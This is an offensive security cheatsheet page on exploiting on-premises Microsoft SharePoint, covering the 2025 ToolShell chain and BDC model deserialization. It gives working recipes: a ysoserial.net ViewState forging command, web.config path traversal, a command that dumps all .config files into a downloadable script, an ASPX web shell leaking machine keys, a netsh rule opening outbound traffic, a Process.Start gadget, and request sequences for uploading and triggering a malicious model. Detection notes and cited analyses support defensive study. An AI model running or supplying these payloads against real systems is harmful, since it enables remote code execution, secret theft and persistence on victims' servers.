repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
microsoft-sharepoint.mdMarkdown265 lines18.3 KiBsource raw download

title: "Microsoft SharePoint – Pentesting & Exploitation" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Microsoft SharePoint – Pentesting & Exploitation#

Microsoft SharePoint (on-premises) is built on top of ASP.NET/IIS. Most of the classic web attack surface (ViewState, Web.Config, web shells, etc.) is therefore present, but SharePoint also ships with hundreds of proprietary ASPX pages and web services that dramatically enlarge the exposed attack surface. This page collects practical tricks to enumerate, exploit and persist inside SharePoint environments with emphasis on the 2025 exploit chain disclosed by Unit42 (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration#

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)#

CISA's technical analysis documents ToolShell exploitation artifacts and detection guidance that can be used to reproduce indicators safely in an authorized lab.[6]

For exploit internals, the Securelist analysis walks through ToolPane.aspx, the relevant SharePoint code path, and observed payload behavior.[7] Prefer validated analyses over speculative GitHub repositories: Eye Security explicitly removed links to unverified ToolShell PoCs, noting that the effective chain does not require a file write.[8]

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx#

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> allows arbitrary Server-Side Include code to be injected in the page which is later compiled by ASP.NET. An attacker can embed C# that executes Process.Start() and drop a malicious ViewState.[1][2]

2.2 CVE-2025-49706 – Improper Authentication Bypass#

The same page trusts the X-Forms_BaseUrl header to determine the site context. By pointing it to /_layouts/15/, MFA/SSO enforced at the root site can be bypassed unauthenticated.[1][2]

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE#

Once the attacker controls a gadget in ToolPane.aspx they can post an unsigned (or MAC-only) __VIEWSTATE value that triggers .NET deserialization inside w3wp.exe leading to code execution.[1][4]

If signing is enabled, steal the ValidationKey/DecryptionKey from any web.config (see 2.4) and forge the payload with ysoserial.net or ysodom:[1]

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
    ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

For an in-depth explanation on abusing ASP.NET ViewState read:

Exploiting Viewstate Parameter

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure#

Sending a crafted Source parameter to ToolPane.aspx (e.g. ../../../../web.config) returns the targeted file, allowing leakage of:[1][4]

2.5 ToolShell workflow observed in Ink Dragon intrusions#

Check Point mapped how Ink Dragon operationalised the ToolShell chain months before Microsoft shipped fixes:[5]

3. Post-exploitation recipes observed in the wild#

3.1 Exfiltrate every .config file (variation-1)#

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

The resulting debug_dev.js can be downloaded anonymously and contains all sensitive configuration.[1]

3.2 Deploy a Base64-encoded ASPX web shell (variation-2)#

powershell.exe -EncodedCommand <base64>

Decoded payload example (shortened):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e){
        Response.Write(MachineKey.ValidationKey);
        // echo secrets or invoke cmd
    }
</script>

Written to:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.[1]

3.3 Obfuscated variant (variation-3)#

Same shell but:[1]

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)#

Recent incident-response investigations (Unit42 “Project AK47”) show how attackers leverage the ToolShell chain after initial RCE to deploy a dual-channel C2 implant and ransomware in SharePoint environments:[3]

AK47C2 – dnsclient variant#

AK47C2 – httpclient variant#

X2ANYLOCK ransomware#

DLL side-loading chain#

  1. Attacker writes dllhijacked.dll/My7zdllhijacked.dll next to a legitimate 7z.exe.
  2. SharePoint-spawned w3wp.exe launches 7z.exe, which loads the malicious DLL because of Windows search order, invoking the ransomware entrypoint in memory.
  3. A separate LockBit loader observed (bbb.msi ➜ clink_x86.exe ➜ clink_dll_x86.dll) decrypts shell-code and performs DLL hollowing into d3dl1.dll to run LockBit 3.0.

[!INFO] The same static Tox ID found in X2ANYLOCK appears in leaked LockBit databases, suggesting affiliate overlap.

3.5 Turning SharePoint loot into lateral movement#

3.6 Persistence patterns witnessed in 2025 intrusions#

3.7 Host firewall downgrades for relay traffic#

Ink Dragon routinely adds a permissive outbound rule that masquerades as Defender maintenance so ShadowPad/FinalDraft traffic can exit on any port:[5]

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

Because the rule is created locally (not via GPO) and uses the legitimate Defender binary as program=, most SOC baselines ignore it, yet it opens Any ➜ Any egress.[5]

4. BDC model metadata as a .NET object-construction sink#

SharePoint Business Data Connectivity (BDC) models can act as XML object-graph descriptions rather than passive database schemas. A TypeDescriptor can name a .NET type and contain nested descriptors for its fields or properties. Older BDC research already showed that trusting model-defined method parameter types can expose attacker-controlled XmlSerializer streams, so .bdcm upload and execution permissions form a security boundary.[9]

4.1 Unrestricted type resolution and reflective property assignment#

For a Database LOB system, DbTypeReflector.ResolveDotNetType() sends names shorter than 15 characters through a limited base resolver, but passes names of 15 or more characters directly to Type.GetType(name, throwOnError: true). Without an assembly/type allowlist, an assembly-qualified TypeName can therefore select classes available in the Global Assembly Cache. DotNetTypeReflector.Instantiate() then recursively constructs the nested descriptors, converts their default values, and assigns them through reflection. The important audit primitive is attacker-selected type + recursive construction + reflected property setters, even when no conventional formatter is present.[11]

A property assignment may execute code rather than only store data. The ObjectDataProvider chain uses a nested ProcessStartInfo and Process; setting ObjectInstance refreshes the provider and invokes the method selected by MethodName on that object. The generic gadget internals are described on the .NET deserialization page.[10][11]

var odp = new ObjectDataProvider { MethodName = "Start" };
var psi = new ProcessStartInfo {
    UseShellExecute = false,
    CreateNoWindow = true,
    FileName = "cmd.exe",
    Arguments = "/c whoami > C:\\Windows\\Temp\\bdc.txt"
};
var process = new Process { StartInfo = psi };
odp.ObjectInstance = process; // Refresh -> reflective Process.Start()

4.2 Store first, materialize later#

Uploading the model only stores the graph. A useful trigger must reach default-value construction: a Client Object Model request containing FindSpecificDefault calls CreateDefaultParameterInstancesInternal and eventually DotNetTypeReflector.Instantiate(), so the dangerous setter runs before a useful database result is required. A compact request sequence is:[11]

POST /_api/web/folders
{"__metadata":{"type":"SP.Folder"},"ServerRelativeUrl":"BusinessDataMetadataCatalog"}

POST /_api/web/GetFolderByServerRelativeUrl('BusinessDataMetadataCatalog')/Files/add(url='model.bdcm',overwrite=true)

POST /_vti_bin/client.svc/ProcessQuery
...
<Method Name="FindSpecificDefault" ... />

These requests normally require an authorized identity and a valid X-RequestDigest; an independent authentication bypass that supplies the Bearer token and digest converts the post-authentication primitive into an unauthenticated chain.[11]

Do not assume one LOB type or gadget. An independent chain used a DotNetAssembly LOB to resolve and instantiate System.Web.UI.LosFormatter, then invoked its Deserialize instance method with a model-supplied default value. This demonstrates that the durable issue is unsafe type selection/materialization, not an ObjectDataProvider signature.[12]

4.3 Detection pivots#

Correlate the following server, proxy, and endpoint signals rather than matching only one payload family:[11][12]


Iis Internet Information Services

References#